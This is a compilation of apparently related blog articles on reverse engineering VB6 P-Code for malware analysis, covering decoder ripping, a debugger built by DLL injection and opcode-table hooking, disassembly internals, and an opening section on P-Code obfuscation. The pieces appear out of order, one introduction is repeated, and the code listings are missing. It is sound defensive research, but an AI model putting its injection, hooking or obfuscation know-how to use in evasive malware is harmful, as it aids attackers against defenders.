test it in its natural environment. I could then debug the VB6 executable to watch the exact stack parameters passed to develop more insight into how to replicate it manually from my C loader.This can be done with a native debugger by setting a breakpoint <code>@6610664E</code> on the <code>ImpAdCallFPR4</code>&nbsp;handler in the VB runtime. Here you could examine the stack before entry into the target P-Code function. VBDec’s P-Code debugger is also convenient for this task.When debugging it is best to have the reference copy of the VB runtime in the same directory as the&nbsp;target executable so that all of your offsets line up with your runtime disassembly with debug symbols.&nbsp;If you use <code>IDA</code> as your debugger, start with the disassembly of the VB runtime and set the target&nbsp;executable in the debugger options. Asm focused debuggers such as <code>Olly</code> or <code>x64dbg</code> are highly&nbsp;recommended over Visual Studio which is primarily based around source code debugging.&nbsp;<h2>Conclusion:</h2>When working on malware analysis it is a common task to have to interoperate with various types of custom decoding routines. There are multiple approaches to this. One can sit down and reverse engineer the entire routine and make sure your code is 100% compatible, or you can try to explore rip based techniques.&nbsp;Ripping decoders is a fairly common task in my personal playbook. While researching the internals of the VB runtime it was a natural inquiry for me to see if the same concept could be applied to P-Code functions.&nbsp;With some experimentation, and a suitable generator,&nbsp;this technique has proven stable and relatively easy to implement. These experiments have also deepened my insights into how the various structures are used by the runtime and my appreciation for how tightly VB6 can integrate with C code.&nbsp;Hopefully this information will give you a new arrow to add to your quiver, or at least have been an interesting ride.&nbsp;[1] <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=403">Emit based rip</a> [2] <a href="http://sandsprite.com/CodeStuff/Using_an_exe_as_a_dll.html">Using an exe as a dll</a> [3] <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=177">Running byte blobs in scdbg</a> [4] <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=366">Malware IPC decoder service</a> [5] <a href="https://github.com/avast/ioc/tree/master/VB-Research">Code samples</a> [6] <a href="http://sandsprite.com/vb-reversing/files/msvbvm60.zip">VB6 runtime with symbols</a> [7] <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=485">VB6 internals video</a> [8] <a href="http://sandsprite.com/vbdec/">VBDec P-Code Debugger</a>

Reusing Malware Functions Through P-Code Debugging and Integration

Binary reuse of VB6 P-code functions

<h2>Background</h2>In this article we are going to discuss how to write a debugger for <code>VB6 P-code</code>. This has been something I have always wanted to do ever since I first saw the <code>WKTVBDE P-Code Debugger</code> written by <code>Mr Silver</code> and <code>Mr Snow</code> back in the early 2000’sThere was something kind of magical about that debugger when I first saw it. It was early in my career, I loved programming in <code>VB6</code>, and reversing it was a mysterious dark art.While on sabbatical I finally I found the time to sit down and study the topic in depth. I am now sharing what I discovered along the way.This article will build heavily on the previous paper titled VB P-Code Disassembly<a href="https://decoded.avast.io/davidzimmer/writing-a-vb6-p-code-debugger/#ref">[1]</a>. In this paper we detailed how the run time processes <code>P-Code</code> and transfers execution between the different handlers.It is this execution flow that we will target to gain control with our debugger.An example of the debugger architecture detailed in this paper can be found in the free <a href="http://sandsprite.com/vbdec/">vbdec pcode disassembler and debugger</a><h2>Probing</h2>When I started researching this topic I wanted to first examine what a process running within the<code> WKTVBDE P-Code debugger</code> looked like.A test <code>P-Code</code> executable was placed alongside a copy of the <code>VB</code> runtime with debug symbols<a href="https://decoded.avast.io/davidzimmer/writing-a-vb6-p-code-debugger/#ref">[2]</a>. The executable was launched under <code>WKTVBDE</code> and then a native debugger was attached.Examining the <code>P-Code</code> function pointer tables at <code>0x66106D14</code> revealed all the pointers had been patched to a single function inside the <code>WKTVBDE.dll</code>

This gives us our first hint at how they implemented their debugger. It is also worth noting at this point that the <code>WKTVBDE debugger</code> runs entirely within the process being debugged, GUI and all!To start the debugger, you run loader.exe and specify your target executable. It will then start the process and inject the <code>WKTVBDE.dll </code>within it. Once loaded <code>WKTVBDE.dll</code> will hook the entire base <code>P-Code</code> handler table with its own function giving it first access to whatever P-Code is about to execute.The debugger also contains:<ul><li data-list-item-id="e56c0d12fd7857de4aa235c70ed99db2f">a <code>P-Code</code> disassembler</li><li data-list-item-id="e4ab406625613ead80169f88540a2a2a6">ability to parse all of the nested <code>VB</code> internal structures</li><li data-list-item-id="e390e727a9e23decc406b6d07effd558f">ability to list all code objects and control events (like on timer or button click)</li></ul>This is in addition to the normal debugger UI actions such as data dumping, breakpoint management, stack display etc.This is A LOT of complex code to run as an injection dll. Debugging all of this would have been quite a lot of work for sure.With a basic idea of how the debugger operated, I began searching the web to find any other information I could. I was happy to find an old article by <code>Mr Silver</code> on <code>Woodmann</code> that I have mirrored for posterity <a href="https://decoded.avast.io/wp-admin/post.php?post=3136&amp;action=edit#ref">[3]</a>.In this article <code>Mr Silver</code> lays out the history of their efforts in writing a <code>P-Code</code> debugger and gives a template of the hook function they used. This was a very interesting read and gave me a good place to start.<h2>Design Considerations:</h2>Looking forward there were some design considerations I wanted to change in this architecture.The first change would be that I would want to move all of the structure parsing, disassembler engine, and user interface code into its own stand alone process. These are complicated tasks and would be very hard to debug as a <code>DLL injection</code>.To accomplish this task we need an easy to use, stable inter-process communication (<code>IPC</code>) technique that is inherently synchronous. My favorite technique in this category is using <code>Windows Messages</code> which automatically cause the external process to wait until the window procedure has completed before it returns.I have used this technique extensively to stall malware after it unpacks itself <a href="https://decoded.avast.io/davidzimmer/writing-a-vb6-p-code-debugger/#ref">[4]</a>. I have even wired it up to a <code>Javascript</code> engine that interfaces with a remote instance of <code>IDA</code> <a href="https://decoded.avast.io/davidzimmer/writing-a-vb6-p-code-debugger/#ref">[5]</a>.This design will give us the opportunity to freely write and debug the file format parsing, disassembly engine, and user interface code completely independent of the debugger core.At this point debugger integration essentially becomes an add on capability of the disassembler. The injection dll now only has to intercept execution and communicate with the main interface.For the remainder of this paper we will assume that a fully operational disassembler has already been created and only focus on the debugger specific details.For discussions on how to implement a disassembler and a reference implementation on structure parsing please refer to the previous paper <a href="https://decoded.avast.io/davidzimmer/writing-a-vb6-p-code-debugger/#ref">[1]</a>.<h2>Implementation</h2>With sufficient information now in hand it was time to start experimenting with gaining control over the execution flow.Our first task is figuring out how to hook the <code>P-Code</code> function pointer table. Before we can hook it, we actually need to be able to find it first! This can be accomplished in several ways. From the <code>WKTVBDE </code>authors paper it sounds like they progressed in three main stages. First they started with a manually patched copy of the <code>VB</code> run time and the modified dll referenced in the import table.Second they then progressed to a single supported copy of the run time with hard coded offsets to patch. A loader now injecting the debugger dll into the target process. Finally they added the ability to dynamically locate and patch the table regardless of run time version.This is a good experimental progression which they detail in depth. The second stage is readily accessible to anyone who can understand this paper and will work sufficiently well. I will leave the details of injection and hooking as an exercise to the reader.The basic steps are:<ul><li data-list-item-id="e1c258f52d3e0d0acc5c599074fc5fa53">set the memory writable</li><li data-list-item-id="efc56b4580a1d0d13d08bd0f75b6b5bf2">copy the original function pointer table</li><li data-list-item-id="e6f7b43e773e0f26281c64f8b1ee2e378">replace original handlers with your own hook procedures</li></ul>The published sample also made use of self modifying code, which we will seek to avoid. To get around this we will introduce individual hook stubs, 1 per table, to record some additional data.

Before we get into the individual hook stubs, we notice they stored some run time/state information in a global structure. We will expand on this with the following:

From the hooking code you will notice that all of the base opcodes in the first table (excluding lead byte handlers) all received the same hook. The <code>Lead_X</code> bytes at the end each received their own procedure.Below shows samples of the hook handlers for the first two tables. The other 4 follow the same pattern:

The hooks for each individual table configure the global <code>VM</code> structure fields for current lead byte and table base. The real meat of the implementation now starts in the universal hook procedure. &nbsp;

In the main <code>PCodeHookProc</code> you will notice that we call out to another function defined as: <code>void NotifyUI()</code>.It is in this function where we do things like check for breakpoints, handle single stepping etc. This function then uses the synchronous <code>IPC</code> to talk to the out of process debugger user interface.The debugger UI will receive the step notification and then go into a wait loop until the user gives a step/go/stop command. This has the effect of freezing the debugee until the <code>SendMessage</code> handler returns. You can find a sample implementation of this in the <code>SysAnalyzer ApiLogger</code> source <a href="https://decoded.avast.io/davidzimmer/writing-a-vb6-p-code-debugger/#ref">[6]</a>.The reason we call out to another function from <code>PCodeHookProc</code> is because it is written as a naked function in assembler. Once free from this we can now easily implement more complex logic in C.<h2>Further steps:</h2>Once all of the hooks are implemented you still need a way to exercise control over the debuggee. When the code is being remotely frozen, the remote GUI is actually still free to send the frozen process new commands over a separate <code>IPC</code> back channel.In this manner you can manage breakpoints, change step modes, and implement lookup services through runtime exports such as <code>rtcTypeName</code>.The hook dll can also patch in custom opcodes. The code below adds our own one byte <code>NOP </code>instruction at unused <code>slot 0x01</code>

As hinted at in the comments, features such as live patching of the current opcode, and “Set New Origin Here” type features are both possible. These are implemented by the debugger doing direct <code>WriteProcessMemory</code> calls to the global <code>VM</code> struct. The address of this structure was disclosed in initialization messages at startup.<h2>Conclusion</h2>Writing a <code>P-Code</code> debugger is a very interesting concept. It is something that I personally wanted to do for the better part of 20 years.Once you see all the moving parts up close it is not quite as daunting as it may seem at first glance. &nbsp;Having a working <code>P-Code</code> debugger is also a foundational step to learning how the <code>P-Code</code> instruction set really works. Being able to watch VB6 P-code run live with integrated stack diffing and data viewer tools is very instructive. Single stepping at this level of granularity gives you a much clearer, higher level overview of what is going on.While the hook code itself is technically challenging, there are substantial tasks required up front just to get you into the game.Prerequisites for this include:<ul><li data-list-item-id="e5e9a37f251f184cafb6830d5a32daec6">accurate parsing of an undocumented file format</li><li data-list-item-id="e0733073018179e25bd40ddce71f380f7">a solid disassembly engine for an undocumented <code>P-Code</code> instruction set</li><li data-list-item-id="eca35d9435318800cc89946320bdb5385">user interface that allows for easy data display and debugger control</li></ul>For a reverse engineer, a project such as this is like candy. There are so many aspects to analyze and work on. So many undocumented things to explore. A puzzle with a thousand pieces.What capabilities can be squeezed out of it? How much more is there to discover?For me it is a pretty fascinating journey that also brings me closer to the language that I love. Hopefully these articles will inspire others and enable them to explore as well.

Developing a P-Code Debugger for Enhanced Malware Analysis

Writing a VB6 P-Code Debugger

In this article we are going to discuss the inner depths of VB6 P-Code disassembly and the VB6 runtime.As a malware analyst, VB6 in general, and P-Code in particular, has always been a problem area. It is not well documented and the publicly available tooling did not give me the clarity I really desired.In several places throughout this paper there may be VB runtime offsets presented. All offsets are to a reference copy with md5: <code>EEBEB73979D0AD3C74B248EBF1B6E770</code> <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[1]</a>. Microsoft has been kind enough to provide debug symbols with this version for the <code>.ENGINE</code> P-Code handlers.To really delve into this topic we are going to have to cover several areas.The general layout will cover:<ul><li>how the runtime executes a P-Code stream</li><li>how P-Code handlers are written</li><li>primer on the P-Code instruction set</li><li>instruction groupings</li><li>internal runtime conventions</li><li>how to debug handlers</li></ul><h2>Native Opcode Handlers &amp; Code Flow</h2>Let’s start with how a runtime handler interprets the P-Code stream.While in future articles we will detail how the transition is made from native code to P-Code. For our purposes here, we will look at individual opcode handlers once the P-Code interpretation has already begun.For our first example, consider the following P-Code disassembly:Here we can see two byte codes at virtual address <code>0x401932</code>. These have been decoded to the instruction <code>LitI2_Byte 255</code>. <code>0xF4</code> is the opcode byte. <code>0xFF</code> is the hardcoded argument passed in the byte stream.&nbsp;The opcode handler for this instruction is the following:

In this article we are going to discuss the inner depths of VB6 P-Code disassembly and the VB6 runtime.As a malware analyst, VB6 in general, and P-Code in particular, has always been a problem area. It is not well documented and the publicly available tooling did not give me the clarity I really desired.In several places throughout this paper there may be VB runtime offsets presented. All offsets are to a reference copy with md5: <code>EEBEB73979D0AD3C74B248EBF1B6E770</code> <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[1]</a>. Microsoft has been kind enough to provide debug symbols with this version for the <code>.ENGINE</code> P-Code handlers.To really delve into this topic we are going to have to cover several areas.The general layout will cover:<ul><li data-list-item-id="e59df8cddcb3e94d374232b05ee52fdf8">how the runtime executes a P-Code stream</li><li data-list-item-id="eeafb8b771f45e013e90951b1b5da5a9e">how P-Code handlers are written</li><li data-list-item-id="e8e33c5925e785182640a8d864db46564">primer on the P-Code instruction set</li><li data-list-item-id="eb055493b9c20b886cb1cde8dd244f46f">instruction groupings</li><li data-list-item-id="e96be24c68136488422977a3d0d57f75b">internal runtime conventions</li><li data-list-item-id="e4755afdc0e74562db5cad837ee1488b5">how to debug handlers</li></ul><h2>Native Opcode Handlers &amp; Code Flow</h2>Let’s start with how a runtime handler interprets the P-Code stream.While in future articles we will detail how the transition is made from native code to P-Code. For our purposes here, we will look at individual opcode handlers once the P-Code interpretation has already begun.For our first example, consider the following P-Code disassembly:

Here we can see two byte codes at virtual address <code>0x401932</code>. These have been decoded to the instruction <code>LitI2_Byte 255</code>. <code>0xF4</code> is the opcode byte. <code>0xFF</code> is the hardcoded argument passed in the byte stream.&nbsp;The opcode handler for this instruction is the following:

While in a handler, the <code>ESI</code> register will always start as the virtual address of the next byte to interpret. In the case above, it would be <code>0x401933</code> since the <code>0xF4</code> byte has already been processed to get us into this handler.The first instruction at <code>0x66105CAB</code> will load a single byte from the P-Code byte stream into the <code>EAX</code> register. This value is then pushed onto the stack. This is the functional operation of this opcode.<code>EAX</code> is then cleared and the next value from the byte stream is loaded into the lower part of <code>EAX (AL)</code>. This will be the opcode byte that takes us to the next native handler.The byte stream pointer is then incremented by two. This will set <code>ESI</code> past the one byte argument, and past the next opcode which has already been consumed.Finally, the <code>jmp</code> instruction will transfer execution to the next handler by using the opcode as an array index into a function pointer table.Now that last sentence is a bit of a mouth full, so lets include an example. Below is the first few entries from the <code>_tblByteDisp</code> table. This table is an array of 4 byte function pointers.

Each opcode is an index into this table. The *4 in the jump statement is because each function pointer is 4 bytes (32 bit code).The only way we know the names of each of these P-Code instructions is because Microsoft included the handler names in the debug symbols for a precious few versions of the runtime.&nbsp;The snippet above also reveals several characteristics of the opcode layout to be aware of. First note, there are invalid slots such as opcode <code>0x01-InvalidExCode</code>. The reason for this is unknown, but it also means we can have some fun with the runtime such as introducing our own opcodes <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[5]</a>.&nbsp;The second thing to notice is that multiple opcodes can point to the same handlers such as the case with <code>lblEX_Bos</code>. Here we see that opcode 0 leads to the same place as opcode 2. There are actually 5 opcode sequences which point to the <code>BoS</code> (Beginning of Statement) handler.The next thing to notice is that the opcode names are abbreviated and will require some deciphering to learn how to read them.&nbsp;Finally from the <code>LitI2_Byte</code> handler we already analyzed, we can recognize that all of the stubs were hand written in assembler.&nbsp;From here, the next question is how many handlers are there? If each opcode is a single byte, there can only be a maximum of 256 handlers right? That would make sense, but is incorrect.If we look at the last 5 entries in the <code>_tblByteDisp</code> table we find this:

The handler for each of these looks similar to the following:

Here we see <code>EAX</code> zeroed out, the next opcode byte loaded into <code>AL</code> and the byte code pointer (<code>ESI</code>) incremented. Finally it uses that new opcode to jump into an entirely different function pointer table.This would give us a maximum opcode count of <code>(6*256)-5</code> or <code>1531</code> opcodes.Now luckily, not all of these opcodes are defined. Remember some slots are invalid, and some are duplicate entries. If we go through and eliminate the noise, we are left with around <code>822</code> unique handlers. Still nothing to sneeze at.So what the above tells us is that not all instructions can be represented as a single opcode. Many instructions will be prefixed with a lead byte that then makes the actual opcode reference a different function pointer table.Here is a clip from the second <code>tblDispatch</code> pointer table:

To reach <code>lblEX_ImpUI1</code> we would need to encode <code>0xFB</code> as the lead byte and <code>0x01</code> as the opcode byte.This would first send execution into the <code>_lblBEX_Lead0</code> handler, which then loads the <code>0x01</code> opcode and uses <code>tblDispatch</code> table to execute <code>lblEX_ImpUI1</code>.A little bit confusing, but once you see it in action it becomes quite clear. You can watch it run live for yourself by loading a P-Code executable into a native debugger and setting a breakpoint on the lead* handlers.<h2>Byte stream argument length&nbsp;&nbsp;</h2>Before we can disassemble a byte stream, we also need to know how many byte code arguments each and every instruction takes. With <code>822</code> instructions this can be a big job! Luckily other reversers have already done much of the work for us. The first place I saw this table published was from Mr Silver and Mr Snow in the <code>WKTVBDE</code> help file.A codified version of this can be found in the Semi-VbDecompiler source <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[2]</a> which I have used as a reference implementation. The opcode sizes are largely correct in this table, however some errors are still present. As with any reversing task, refinement is a process of trial and error.&nbsp;Some instructions, 18 known to date, have variable length byte stream arguments. The actual size of the byte stream to consume before the next opcode is embedded as the two bytes after the opcode. An example of this is the <code>FFreeVar</code> instruction.

In this example we see the first two bytes decode as <code>0x0008</code> (little endian format), which here represents 4 stack variables to free.<h2>Opcode Naming Conventions</h2>Before we continue on to opcode arguments, I will give a brief word on naming conventions and opcode groupings.In the opcode names you will often see a combination of the following abbreviations. The below is my current interpretation of the less intuitive specifiers:

Specifiers are often combined to denote meaning and opcodes often come in groups such as the following: &nbsp;

An opcode search interface such as this is very handy while learning the VB6 instruction set.<h2>Opcode Groups</h2>The following shows an example grouping:

A two part series on the intricacies of how For loops were implemented is available <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[3]</a> for the curious.As you can see, the opcode set can collapse down fairly well once you take into account the various groupings. While I have grouped the instructions in the source, I do not have an exact number as the lines between them can still be a bit fuzzy. It is probably around 100 distinct operations once grouped.Now onto the task of argument decodings. I am not sure why, but most P-Code tools only show you the lead byte, opcode byte, mnemonic. Resolved arguments are only displayed if it is fully handled.&nbsp;Everything except Semi-VBDecompiler <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[6]</a> skips the display of the argument bytes.The problem arises from the fact no tool decodes all of the arguments correctly for all of the opcodes yet. If you do not see the argument byte stream, there is no indication other than a subtle jump in virtual address that anything has been hidden from you.&nbsp;Consider the following displays:

The first version shows you opcode and mnemonic only. You don’t even realize anything is missing. The second version gives you a bigger hint and at least shows you no argument resolution is occurring. The third version decodes the byte stream arguments, and resolves the function call to a usable name.Obviously the third version is the gold standard we should expect from a disassembler. The second version can be acceptable and shows something is missing. The first version leaves you clueless. If you are not already intimately familiar with the instruction set, you will never know you are missing anything.<h2>Common opcode argument types</h2>In the Semi-VbDecompiler source many opcodes are handled with custom printf type specifiers <a href="https://decoded.avast.io/davidzimmer/vb6-p-code-disassembly/#ref">[4]</a>. Common specifiers include:

Many opcodes only take one or more simple arguments, <code>%a</code> and <code>%s</code> being the most common.Consider <code>"LitVarStr %a %s"</code> which loads a variant with a literal <code>BSTR</code> string, and then pushes that address to the top of the stack: &nbsp;

The <code>%a</code> decoder will read the first two bytes from the stream and decode it as follows: &nbsp;

Interpreting <code>0xFF68</code> as a signed 2 byte number is <code>-0x98</code>. Since it is a negative value, it is a local function variable at <code>ebp-0x98</code>. Positive values denote function arguments.&nbsp;Next the <code>%s</code> handler will read the next two bytes which it interprets as a pool index. The value at pool index 0 is the constant <code>0x40122C</code>. This address contains an embedded <code>BSTR</code> where the address points to the <code>unicode</code> part of the string, and the preceding 4 bytes denoting its length.A closer look at run time data for this instruction is included in the debugging section later on.Another common specifier is the <code>%l</code> handler used for jump calculations. It&nbsp; can be seen in the following examples:

In the first unconditional jump the byte stream argument is <code>0x002C</code>. Jump locations are all referenced from the function start address, not the current instruction address as may be expected.&nbsp;<code>0x4014E4 + 0x2C = 0x401510&nbsp;</code> <code>0x4014E4 + 0x3A = 0x40151E</code>Since all jumps are calculated from the beginning of a function, the offsets in the byte stream must be interpreted as unsigned values. Jumps to addresses before the function start are not possible and represent a disassembly error.&nbsp;Next lets consider the <code>%x</code> handler as we revisit the <code>"ImpAdCallFPR4 %x"</code> instruction:

The native handler for this is: &nbsp;

Looking at the P-Code disassembly we can see the byte stream of <code>24001000</code> is actually two integer values. The first <code>0x0024</code> is a constant pool index, and the second <code>0x0010</code> is the expected stack adjustment to verify after the call.&nbsp;Now we haven’t yet talked about the constant pool or the house keeping area of the stack that VB6 reserves for state storage. For an abbreviated description, at runtime VB uses the area between <code>ebp</code> and <code>ebp-94h</code> as kind of a scratch pad. The meaning of all of these fields are not yet fully known however several of the key entries are as follows:

In the above disassembly we can see entry <code>0x24</code> from the constant pool would be loaded.A constant pool viewer is a very instructive tool to help decipher these argument byte codes.It has been found that smart decoding routines can reliably decipher constant pool data independent of analysis of the actual disassembly.One such implementation is shown below:

If we look at entry <code>0x0024</code> we see it holds the value <code>0x4011CE</code>. If we look at this&nbsp; address in IDA we find the following native disassembly: &nbsp;

<code>0x40110C</code> is the IAT address of <code>msvbvm60.rtcImmediateIf </code>import. This opcode is how VB runtime imports are called.&nbsp;While beyond the scope of this paper, it is of interest to note that VB6 embeds a series of small native stubs in P-Code executables to splice together the native and P-Code executions. This is done for API calls, call backs, inter-modular calls etc.&nbsp;<h2>The Constant Pool</h2>The constant pool itself is worth a bit of discussion. Each compilation unit such as a module, class, form etc gets its own constant pool which is shared for all of the functions in that file.&nbsp;Pool entries are built up on demand as the file is processed by the compiler from top to bottom.&nbsp;The constant pool can contain several types of entries such as:&nbsp;<ul><li data-list-item-id="eb1cef2c2370f52e104dec6b7f93ff4ea">string values (BSTRs specifically)&nbsp;</li><li data-list-item-id="e6020c5b40823c4d14a0794ef414de89e">VB method native call stubs&nbsp;</li><li data-list-item-id="e027a595cd5a58d10a2a76884144d29ce">API import native call stubs&nbsp;</li><li data-list-item-id="ec3f6522e29ac714559154ec42e2e427f">COM GUIDs&nbsp;</li><li data-list-item-id="ec73556e0dd7d0e9292f1eba8e01a6160">COM CLSID / IID pairs held in COMDEF structures&nbsp;</li><li data-list-item-id="e643a75f9275922cf94094cbacc154fe2">CodeObject base offsets</li><li data-list-item-id="e1f75df460780b4cab4a6bde533a91ece">blank slots which represent internal COM objects filled out at startup by the runtime (ex: App.)</li></ul><h2>More advanced opcode processors</h2>More complex argument resolutions require a series of opcode post processors.&nbsp; In the disassembly engine I am working on there are currently 13 post processors which handle around 30 more involved opcodes.Things start to get much more complex when we deal with <code>COM</code> object calls. Here we have to resolve the <code>COM class ID</code>, <code>interface ID</code>, and discern its complete <code>VTable layout</code> to determine which method is going to be called. This requires access to the COM objects type library if its an external type, and the ability to recreate its function prototype from that information.For internal types such as <code>user classes</code>, <code>forms</code> and <code>user controls</code>, we also need to understand their <code>VTable layout</code>. For internal types however we do not receive the aid of tlb files. Public methods will have their names embedded in the VB file format structures which can be of help.Resolution of these types of calls is beyond the scope of what we can cover in an introductory paper, but it is absolutely critical to get right if you are writing a disassembler that people are going to rely upon for business needs.<h2>More on opcode handler inputs</h2>Back to opcode arguments. It is also important to understand that opcodes can take dynamic runtime stack arguments in addition to the hard coded byte stream arguments. This is not something that a disassembler necessarily needs to understand though. This level of knowledge is mainly required to write P-Code assembly or a P-Code decompiler.&nbsp;Some special cases however do require the context of the previous disassembly in order to resolve properly. Consider the following multistep operation:

Here the <code>LateIdLdVar</code> resolver needs to know which object is being accessed. Scanning back and locating the <code>VCallAd</code> instruction is required to find the active object stored in <code>PR</code>.&nbsp;<h2>Debugging handlers</h2>When trying to figure out complex opcode handlers, it is often helpful to watch the code run live in a debugger. There are numerous techniques available here. Watching the handler itself run requires a native debugger.&nbsp;Typically you will figure out how to generate the opcode with some VB6 source which you compile. You then put the executable in the same directory as your reference copy of the vb runtime and start debugging.&nbsp;Some handlers are best viewed in a native debugger, however many can be figured out just by watching it run through a P-Code debugger.&nbsp;A P-Code debugger simplifies operations showing you its execution at a higher level. In one step of the debugger you can watch multiple stack arguments disappear, and the stack diff light up with changes to other portions. Higher level tools also allow you to view complex data types on the stack as well as examine TLS memory and keep annotated offsets.&nbsp;In some scenarios you may actually find yourself running both a P-Code debugger and a native debugger on the target process at the same time.&nbsp;One important thing to keep in mind is that VB6 makes heavy use of COM types.&nbsp;Going back to our <code>LitVarStr</code> example:

You would see the following after it executes:<code>0019FC28 ebp-120 0x0019FCB0 ; ebp-98 - top of stack&nbsp;</code> <code>...&nbsp;</code> <code>0019FCB0 ebp-98 0x00000008&nbsp;</code> <code>0019FCB4 ebp-94 0x00000000&nbsp;&nbsp;</code> <code>0019FCB8 ebp-90 0x0040122C</code>A data viewer would reveal the following when decoding <code>ebp-98</code> as a variant:<code>Variant 19FCB0&nbsp;</code> <code>VT: 0x8( Bstr )&nbsp;</code> <code>Res1: 0&nbsp;</code> <code>Res2: 0&nbsp;</code> <code>Res3: 0&nbsp;</code> <code>Data: 40122C&nbsp;</code> <code>String len: 9 -&gt; never hit</code>Debugging VB6 apps is a whole other ball of wax. I mention it here only in passing to give you a brief introduction to what may be required when deciphering what opcodes are doing. In particular recognizing <code>Variants</code> and <code>SafeArrays</code> in stack data will serve you well when working with VB6 reversing.<h2>Conclusion</h2>In this paper we have laid the necessary ground work in order to understand the basics of a VB6 P-Code disassembly engine. The Semi-VbDecompiler source is a good starting point to understand its inner workings.&nbsp;We have briefly discussed how to find and read native opcode handlers along with some of the conventions necessary for understanding them. We introduced you to how opcodes flow from one to the next, along with how to determine the number of byte stream arguments each one takes, and how to figure out what they represent.&nbsp;There is still much work to be done in terms of documenting the instruction set. I have started a project where I catalog:<ul><li data-list-item-id="e969424366ca3a1778f8b3e7cf7a4da07">VB6 source code required to generate an opcode</li><li data-list-item-id="efb654e79777b23d5bc0e5ede0bc3150d">byte stream arguments size and meaning</li><li data-list-item-id="ebb3fcab3935e3ccad181ab27a62653d0">stack arguments consumed</li><li data-list-item-id="edb3d498a5fe3e95a6c6dbb4ead86a237">function outputs</li></ul>Unfortunately it is still vastly incomplete. This level of documentation is foundational and quite necessary for writing any P-Code analysis tools.Still to be discussed, is how to find the actual P-Code function blobs within the VB6 compiled executable. This is actually a very involved task that requires understanding a series of complex and nested file structures. Again the Semi-VbDecompiler source can guide you through this maze.While VB6 is an old technology, it is still commonly used for malware. This research is aimed at reducing gaps in understanding around it and is also quite interesting from a language design standpoint.&nbsp;[1] – <a href="http://sandsprite.com/vb-reversing/files/msvbvm60.zip">VB6 runtime with symbols</a> [2] – <a href="https://github.com/VBGAMER45/Semi-VB-Decompiler/blob/master/Semi%20VB%20Decompiler/modPCode.bas#L653">Semi-VbDecompiler opcode table Source</a> [3] – <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=483&amp;year=2020">A closer look at the VB6 For Loop implementation</a> [4] – <a href="https://github.com/VBGAMER45/Semi-VB-Decompiler/blob/master/Semi%20VB%20Decompiler/modPCode.bas#L550">Semi-VBDecompiler opcode argument decodings</a>&nbsp; [5] – <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=472&amp;year=2019">Introducing a one byte NOP opcode</a> [6] – <a href="https://github.com/VBGAMER45/Semi-VB-Decompiler">Semi-VBDecompiler</a>

Dissecting VB6 P-Code Disassembly and Runtime Mechanics

VB6 P-Code Disassembly

Code obfuscation is one of the cornerstones of malware. The harder code is to analyze the longer attackers can fly below the radar and hide the&nbsp;full capabilities of their creations.Code obfuscation techniques are very old and take many many forms from source code modifications, opcode manipulations, packer layers, virtual machines and more.Obfuscations are common amongst native code, script languages, <code>.NET IL</code>, and <code>Java byte code</code>.&nbsp;As a defender, it’s important to be able to recognize these types of tricks, and have tools that are capable of dealing with them. Understanding the capabilities of the&nbsp;medium is paramount to determine what is junk, what is code, and what may simply&nbsp;be a tool error in data display.&nbsp;On the attackers side, in order to develop a code obfuscation there are certain&nbsp;prerequisites required. The attacker needs tooling and documentation that allows them to craft and debug the complex code flow.&nbsp;For binary implementations such as <code>native code</code> or <code>IL</code>, this would involve specs of the target&nbsp;file format, documentation on the opcode instruction set, disassemblers, assemblers, and a capable debugger.One of the code formats that has not seen common obfuscation has been the <code>Visual Basic 6 P-Code</code> byte streams. This is a proprietary opcode set, in a complex file format, with&nbsp;limited tooling available to work with it.&nbsp;In the course of exploring this instruction set certain questions arose:<ul><li>Can <code>VB6 P-Code</code> be obsfuscated at the byte stream layer?&nbsp;</li><li>Has this occurred in samples in the wild?</li><li>What would this look like?</li><li>Do we have tooling capable of handling it?</li></ul><h3>Background</h3>Before we continue, we will briefly discuss the <code>VB6 P-Code</code> format and the tools available&nbsp;for working with it.<code>VB6 P-Code</code> is a proprietary, variable length, binary instruction set that is interpreted by the <code>VB6</code> Virtual Machine (<code>msvbvm60.dll</code>).In terms of documentation, Microsoft has never published details of the <code>VB6</code> file format or&nbsp;opcode instruction set. The opcode handler names were gathered by reversers from the debug symbols leaked with only a handful of runtimes.&nbsp;At one time there was a reversing community,&nbsp; vb-decompiler.theautomaters.com, which was dedicated to the <code>VB6</code> file format and P-Code instruction set. Mirrors of this message board are still available today [<a href="https://decoded.avast.io/davidzimmer/vb6-p-code-obfuscation/#ref_1">1</a>].&nbsp;On the topic of tooling the main disassemblers are <code>p32Disasm</code>, <code>VB-Decompiler</code>, <code>Semi-Vbdecompiler</code> and the <code>WKTVBDE</code> P-Code debugger.Of these only Semi-Vbdecompiler shows you the full argument byte stream, the rest display only the opcode byte. While several private P-Code debuggers exist, <code>WKTVBDE</code> is the only public tool with debugging capabilities at the P-Code level.&nbsp;In terms of opcode meanings. This is still widely undocumented at this point. Beyond intuition from their names you would really have to compile your own programs from source, disassemble them, disassemble the opcode handlers and debug both the native runtime and P-Code to get a firm grasp of whats going on.&nbsp;As you can glimpse, there is a great deal of information required to make sense of P-Code disassembly and it is still a pretty dark art for most reversers.&nbsp;<h3>Do VB6 obfuscators exist?</h3>While doing research for this series of blog posts we started with an initial sample set of <code>25,000</code> P-Code binaries which we analyzed using various metrics.&nbsp;Common tricks <code>VB6</code> malware uses to obfuscate their intent include:<ul><li>junk code insertion at source level</li><li>inclusion of large bodies of open source code to bulk up binary</li><li>randomized internal object and method names&nbsp;<ul><li>mostly commonly done at pre-compilation stage</li><li>some tools work post compilation.</li></ul></li><li>all manner of encoded strings and data hiding</li><li>native code blobs launched with various tricks such as <code>CallWindowProc</code></li></ul>To date, we have not yet documented P-Code level manipulations in the wild.&nbsp;Due to the complexity of the vector, P-Code obsfuscations could have easily gone undetected to date which made it an interesting area to research. Hunting for samples will continue.<h3>Can VB P-Code even be obfuscated and what would that look like?</h3>In the course of research, this was a natural question to arise.&nbsp; We also wanted to make sure we 